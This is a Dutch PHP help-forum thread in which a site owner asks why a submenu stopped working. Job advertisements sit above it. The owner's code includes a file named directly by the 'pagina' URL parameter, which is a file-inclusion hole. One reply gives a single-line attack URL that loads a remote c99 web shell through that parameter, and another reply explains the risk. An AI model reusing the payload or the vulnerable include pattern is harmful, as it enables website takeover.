Submenu werkt niet meer, help!

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

IT Infrastructuur Developer

IT Infrastructuur Developer Ben jij (bijna) klaar met je HBO studie in de richting van IT? Opzoek naar een spannende eerste baan, waar je ontzettend veel kan leren? Dan hebben wij de ultieme job voor jou! Voor een goede klant van ons in de financiële dienstverlening zijn wij opzoek naar een Junior Infrastructure Developer. Deze baan is een mooie kans om een sterke start te geven aan jouw carrière binnen de IT! De job Je werkt nauw samen met het Devops team, en zal je voornamelijk bezighouden met het automatiseren van infrastructure componenten. De componenten worden opgevraagd door het DevOps

Bekijk vacature »

SQL Developer

Functie omschrijving We are looking for a dutch native speaker Jij gaat in deze functie aan de slag met uitdagende projecten en het creëren van maatwerk software, vooral middels SQL. Iedere klant/project is weer anders, maar dat maakt dit bedrijf en de functie erg uniek & uitdagend. Verder heb je de volgende taken: Ontwikkelen en ontwerpen van SQL databases. T-SQL wordt hierbij gebruikt als programmeer laag; Optimalisatie van query's, voor een verbeterde efficiency; Begeleiden van junior developers, mits je dit leuk vindt; Heb je meer interesse in een rol als consultant, dan is dit ook mogelijk. Je heb hier meer

Bekijk vacature »

Senior Front-end Developer

Sogeti is een organisatie met een goede werksfeer en zo min mogelijk hiërarchische verhoudingen. Ga je bij ons als Senior Front-end Developer aan de slag? Dan werk je dagelijks met collega’s aan de mooiste IT-projecten. Deze snelgroeiende groep collega’s krijgt energie van hun vak en dat merk je op de werkvloer. Onze klantenkring is groot en divers, dat vraagt om flexibiliteit van jou. Tegelijkertijd betekent dit dagelijks nieuwe dingen leren én dat geen werkdag hetzelfde is. Natuurlijk krijg jij de mogelijkheid je te certificeren. We organiseren regelmatig technische Meet-ups en doen we veel aan kennisdeling waarbij iedereen welkom is, zowel

Bekijk vacature »

SQL Database Ontwikkelaar

Functie omschrijving Kan jij goed overweg met complexe algoritmes en het schrijven van procedures in T-SQL? Heb jij al wat ervaring opgedaan met SQL en vind je het tijd voor de volgende stap? Lees dan snel verder! Dit software bedrijf, gespecialiseerd in de ontwikkeling van logistieke software, is op zoek naar een ervaren SQL database developer. Jouw werkzaamheden zullen onder andere bestaan uit: Je houdt je bezig met het ontwerp en de ontwikkeling van MS SQL server databases, dit doe je met T-SQL als programmeer laag. De begeleiding van projecten van A tot Z, je zult aansluiten bij meetings met

Bekijk vacature »

Airport Developer / System engineer

De functie Als onze nieuwe Airport Developer / System Engineer is je doel om uit nieuwbouw- en onderhoudsprojecten maximale waarde te creëren voor Schiphol Group en haar stakeholders. Vanuit je visie en expertise, maar ook (technologische) ontwikkelingen, wetgeving en beleid vertaal je klantwensen naar een gedegen programma van eisen. In de planontwikkelingsfase werk je nauw samen met Plan Ontwikkelaars om je kennis in te brengen ten behoeve van de kwaliteit van het investeringsvoorstel. Je overlegt met diverse partijen, stelt de vraag achter de vraag en verbindt zo de belangen van de luchthaven, proceseigenaar en asseteigenaar om tot een gedragen ontwikkelopgave

Bekijk vacature »

Junior PHP Developer

Functieomschrijving Junior PHP Developer gezocht! Voor een opdrachtgever in de regio Gelderland zijn wij op zoek naar een Junior PHP Developer die onderdeel gaat worden van het ontwikkelingsteam van deze organisatie. In deze functie ga jij aan de slag met het schrijven van software voor de aansturing van en het managen van windparken en bijbehorende onderdelen. Hiernaast ga jij je bezighouden met het ontwikkelen, testen en onderhouden van diverse webapplicaties. Het team waarin je komt te werken bestaat uit 3 developers, hierdoor krijg je veel verantwoordelijkheid en de kans om jezelf verder te ontwikkelen. Er wordt echter wel van je

Bekijk vacature »

Sportieve Junior C#.NET developer gezocht!

Bedrijfsomschrijving Wil jij werken aan webapplicaties bij de marktleider binnen de branche? Voor een klant in de buurt van Oosterhout ben ik op zoek naar een Fullstack .NET developer. Dit bedrijf bestaat bijna 10 jaar en is inmiddels uitgegroeid tot marktleider in Nederland en heeft tevens kantoren in meerdere landen in Europa. Dit bedrijf bouwt webapplicaties waarbij internationaal enkele honderdduizenden deelnemers, soms tegelijk, een beroep doen op de realtime data uit deze applicaties. Dit brengt erg veel technische uitdaging met zich mee. Ze ontwikkelen nieuwe applicaties maar ook bestaande applicaties worden uitgebreid en verbeterd. Hier kan jij een onderdeel van

Bekijk vacature »

Front end developer React

Functie Wij zijn van origine een wordpress bureau, maar sinds 2006 zijn wij dit wel redelijk ontgroeid. Naar mate de jaren verstreken zijn we gegroeid in omvang, maar ook in de complexiteit van opdrachten waarin wij onze klanten kunnen bedienen. Momenteel bestaat onze organisatie uit 4 front end developers, 12 back end developer 3 projectmanagers en een 2 koppig management. Wij zijn een hele informele, bijna familiaire organisatie. Geen strak pak of overhemd, nee gewoon dragen waar jij je prettig bij voelt. De gemiddelde leeftijd ligt tussen de 25 en 30 en wij doen er veel aan om onze hechte

Bekijk vacature »

Als Front-end developer werken aan apps voor het o

Functie Als Front-end developer werk je intensief samen met 1 van de UX-designers en denk je mee over de gebruiksvriendelijkheid en design van onze web- en mobile apps. Je bent betrokken bij sessies met gebruikers om designs te valideren en usability van de app-in-wording te testen. Vervolgens gebruik je dit om samen met je team waarin ook back-end (.NET) developers zitten, te zorgen voor de realisatie van de best mogelijke apps voor studenten en docenten. Eisen • Je hebt een hands-on development en coding mind-set en werkt graag aan een high quality code base welke je consequent onderhouden kan worden

Bekijk vacature »

Laravel / PHP developer

Functie omschrijving Wij zijn op zoek naar een Medior PHP / Laravel Developer voor een IT-consultancy in de omgeving van Hoofddorp! Ben jij op zoek naar een leuke nieuwe uitdaging binnen een veelzijdige werkomgeving? Lees dan snel verder! Binnen dit bedrijf werk je in een ontwikkelteam, waarin je zeer betrokken bent en meedenkt over softwareoplossingen. Binnen dit Team hou je je bezig met het aanpassen, verbeteren en vernieuwen van de logistieke oplossingen. Je zult je bezig houden met de volgende werkzaamheden: Je gaat aan de hand van de wensen van klanten software ontwikkelen; Je bent bij het gehele proces betrokken;

Bekijk vacature »

Medior PHP developer

Functie Het team bestaat inmiddels uit zo’n 25 collega’s met specialisten op het gebied van development, data(analyse), marketing, infrastructuur en finance. Ze hebben een supermodern pand en bieden hiernaast veel vrijheid en verantwoordelijkheid. Ze doen er alles aan om jou op te gemak te stellen. Zo kun je je eigen werkplek inrichten naar persoonlijke wensen, maar gaan ze bijvoorbeeld ook jaarlijks met elkaar wintersporten en zijn er andere leuke uitjes. Als onderdeel van één van de scrumteams ga je aan de slag, samen ben je medeverantwoordelijk voor het doorontwikkelen van hun business applicatie waar het traffic team dagelijks mee werkt.

Bekijk vacature »

Medior Front-end Developer

Bij Getnoticed doen wij wat we leuk vinden, websites bouwen en online marketing. Voor veel van onze klanten doen we dan ook allebei. Wel zo fijn om campagnes te draaien voor conversiegerichte websites die in eigen beheer zijn. In onze vestiging in Nederweert zit onze development afdeling en worden de websites gebouwd. Op dit moment zijn we op zoek naar jou: dé Medior Front-end Developer die net als wij, het hoofd boven het maaiveld durft uit te steken! In het kort Even een paar punten die omschrijven wat deze toffe baan inhoudt: Het uitwerken van designs tot functionele layouts Je

Bekijk vacature »

Medior Java developer (fullstack)

Wat je gaat doen: Of beter nog, wat wil jij doen? Binnen DPA GEOS zijn we dan ook op zoek naar enthousiaste Java developers om ons development team te versterken. Als Java developer werk je in Agile/Scrum teams bij onze klanten en daarbij kun je eventueel ook andere ontwikkelaars begeleiden in het softwareontwikkelproces. Verder draag je positief bij aan de teamgeest binnen een projectteam en je kijkt verder dan je eigen rol. Je gaat software maken voor verschillende opdrachtgevers in jouw regio. Je bent een professional die het IT-vak serieus neemt en kwaliteit levert. Je leert snel vanwege je diepgaande

Bekijk vacature »

.NET developer

Functie Als junior .NET ontwikkelaar ga jij aan de slag in één van de 5 IT teams van dit bedrijf. Jullie werken op basis van interne klantprojecten aan voornamelijk webapplicaties. Dit betekent dat jij continu uitgedaagd wordt en veelal met verschillende soorten projecten bezig bent. Het gave is dan ook dat jullie als team samen bekijken welke technieken het beste passen bij het project waar jullie verantwoordelijk voor zijn. Zo kan het zijn dat jij als .NET developer gaat werken aan een project, maar dat jullie als team liever gebruik maken van Haskell of F# om de klus te klaren.

Bekijk vacature »

(Junior) PHP Ontwikkelaar bij een retail bedrijf i

Bedrijfsomschrijving Ben jij een ervaren PHP ontwikkelaar met een passie voor retail en ICT? Wil jij werken in een team dat zich bezighoudt met het ontwikkelen van uitdagende applicaties voor een groot retailbedrijf in Delft? Dan zijn zij op zoek naar jou! Functieomschrijving Als PHP Ontwikkelaar werk je in een team aan de ontwikkeling van applicaties die door de gehele organisatie worden gebruikt. Je bent verantwoordelijk voor het ontwikkelen, testen en implementeren van deze applicaties. Je werkt hierbij nauw samen met andere ontwikkelaars, projectmanagers en stakeholders binnen de organisatie. Je taken bestaan onder andere uit: Ontwikkelen van nieuwe functionaliteiten en

Bekijk vacature »
Am MM

Am MM

17/08/2012 15:12:19
Quote Anchor link
Hallo,

Ik heb problemen met de submenu. Het heeft al jaren gewerkt zonder probleem, maar als ik nu op het menu klik dan verwacht ik 3 submenu's maar die verschijnen niet meer, verder heb ik ook niets aangepast in de afgelopen maanden, dus het komt ook niet door een aanpassing.
Hoe komt dat? Kan iemand mij helpen aub?
 
PHP hulp

PHP hulp

05/01/2025 10:31:12
 
- SanThe -

- SanThe -

17/08/2012 15:14:02
Quote Anchor link
Misschien dat er een update op de server is gedaan.
 
Am MM

Am MM

17/08/2012 15:14:41
Quote Anchor link
Dat zou kunnen, maar valt daardoor de submenu's weg? Wat kan ik nu zelf doen?
 
Marco PHPJunky

Marco PHPJunky

17/08/2012 15:19:56
Quote Anchor link
wat voor menu is het ?
wat gebruikt het menu ?
is het ergens afhankelijk van ?

voorbeeld:
als het een menu is dat afhankelijk/gemaakt is m.b.v. Jquery en je laad automatische de laatste nieuwe versie van Jquery kan het zijn dat daar misschien het probleem ligt.
 
Am MM

Am MM

17/08/2012 15:25:28
Quote Anchor link
Het is in PHP en werkt via Include. Hij is niet afhankelijk, iig niet van Jquery enz.

Hieronder een deel van het menu:

if($_GET['pagina'])
{
if(file_exists($_GET['pagina'].".php"))
{
INCLUDE($_GET['pagina'].".php");
}
else
{
include("Home.php");
}
}
else
{
INCLUDE("Home.php");
} ?>
</div>


................. En dan hier begint van de submenu:

else

if (($pagina == "Stichting") or ($pagina == "Doel") or ($pagina == "Bestuur")) {include('Stichting1.php');
 
- Ariën  -
Beheerder

- Ariën -

17/08/2012 15:28:01
Quote Anchor link
Ik zie geen submenu?
Waar komt $pagina vandaan?
Gewijzigd op 17/08/2012 15:28:36 door - Ariën -
 
Marco PHPJunky

Marco PHPJunky

17/08/2012 15:30:56
Quote Anchor link
sterker nog ik zie niet eens een menu...
Ik zie alleen een klein stukje voor het includeren van pagina's
 
Am MM

Am MM

17/08/2012 15:37:06
Quote Anchor link
Ah ik zie het is niet volledig....

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
<?php include('top.php'); ?>

<tr>
<td rowspan="3" width="506" height="100%" valign="top">
<br />
<div id="" class="scroltable">
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
                 if($_GET['pagina'])  
                      {
  
                        if(file_exists($_GET['pagina'].".php"))  
                        {
  
                         INCLUDE($_GET['pagina'].".php");  
                        }
  
                        else  
                        {  
                         include("Home.php");  
                        }  
                      }
  
                      else  
                      {  
                    INCLUDE("Home.php");  
                      }
?>



<div class="submenu">
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (($pagina == "Stichting") or ($pagina == "Doel") or ($pagina == "Bestuur") or ($pagina == "Bestuursleden"))
{
include('Stichting1.php');
                            }

                                                   else
>>>>>>  dit gaat dan door voor andere submenu's.


Hier komt het gedeelte van de Top.php

<a href="?pagina=Home" class="menu">Home</a>
<a href="?pagina=Stichting" class="menu">Stichting</a>


Maargoed dit heeft altijd al gewerkt en ik vind het nu zo vaag dat de submenu'
s niet meer verschijnen.
Gewijzigd op 17/08/2012 16:01:02 door Am MM
 
- Ariën  -
Beheerder

- Ariën -

17/08/2012 16:06:13
Quote Anchor link
Wederom komt $pagina vanuit het niets.
Ik mag hopen dat je hiermee niet $_GET['pagina'] bedoelt. Want dat zou al ruim 10 jaar niet meer mogen werken.
 
Kris Peeters

Kris Peeters

17/08/2012 16:07:59
Quote Anchor link
ik kan alleen maar vaststellen dat $pagina nergens een waarde krijgt.

Het doet me iets vrezen: in php4 kon je gewone variabelen aanspreken met de url, alsof ze $_GET variabelen waren.

je kon iets als $pagina en $_GET['pagina'] door mekaar gebruiken (gezellige tijd voor hackers).

Grote wijsheid heeft ervoor gezorgd dat php5 dit niet meer doet.
Zou het dit kunnen zijn?

(Ik merk dat hier boven het zelfde wordt gevreesd)
Gewijzigd op 17/08/2012 16:25:05 door Kris Peeters
 
- Ariën  -
Beheerder

- Ariën -

17/08/2012 16:27:51
Quote Anchor link
In PHP 4.2.0 werd het voorbeeld met $pagina al onmogelijk gemaakt met de register_globals op 'off'.
En de releasedata daarvan was: Released: 22 April 2002. Ruim 10 jaar geleden....

Bovenaan de Changelog stond zelfs vermeld:
Quote:
ATTENTION!! register_globals defaults to 'off' now !!!
Gewijzigd op 17/08/2012 16:29:03 door - Ariën -
 
Olivier -

olivier -

17/08/2012 17:22:20
Quote Anchor link
eventjes....
wat nou als ik ga naar ?pagina=index
krijgen we dan een enorme crash?
en als ik ga naar www.shell.nl/c99.txt en dan in jou pagina ?pagina=http://www.shell.nl/c99.txt%00
en tadaaaa
een shell!
website gehackt jij niet bij.
 
Eddy E

Eddy E

17/08/2012 19:00:32
Quote Anchor link
Shell.nl is toch iets met olie?
 
Am MM

Am MM

17/08/2012 19:00:56
Quote Anchor link
Dus als ik het goed heb begrepen dan wordt $_GET['pagina'] niet meer gebruikt en het kan ook heel makkelijk geheckt worden.
Waarmee moet ik dit vervangen??? Of moet ik dit heel scherm anders aanpakken? Ik heb al jaren geen php meer gebruikt dus alles is nu heel vaag voor ij.
Alle help is welkom! Thanks!
 
- Ariën  -
Beheerder

- Ariën -

17/08/2012 19:40:24
Quote Anchor link
Eddy Erkelens op 17/08/2012 19:00:32:
Shell.nl is toch iets met olie?

Lekker belangrijk, het gaat om het voorbeeld. Dat er in dit geval onze belangrijke en bekende oliemaatschappij wordt bedoeld, is niet echt relevant.
Ze bedoelen hier een 'shell' mee in de vorm van hacken. Zie het als een groot PHP-controlepaneel om bestanden te beheren welke je via een zelf uit te zoeken uploadlek, op een site kan implementeren om deze vervolgens volledig over te kunnen nemen.

Toevoeging op 17/08/2012 19:41:41:

Olivier - op 17/08/2012 17:22:20:
eventjes....
wat nou als ik ga naar ?pagina=index
krijgen we dan een enorme crash?

gelukkig is er een set_time_limit() die standaard op 30 sec. staat, dus van een crash, en zelfs een grote crash kan je niet eens spreken.

Toevoeging op 17/08/2012 19:42:52:

Am MM op 17/08/2012 19:00:56:
Dus als ik het goed heb begrepen dan wordt $_GET['pagina'] niet meer gebruikt en het kan ook heel makkelijk geheckt worden.

Integendeel, die wordt juist wel gebruikt, maar $pagina niet meer. Vroeger was dit een variabele met een verborgen waarde voor GET-parameters, maar dat is sidns een decennium gelukkig niet meer zo.

Dus gebruik $_GET['pagina'] etc....
Gewijzigd op 17/08/2012 19:44:45 door - Ariën -
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.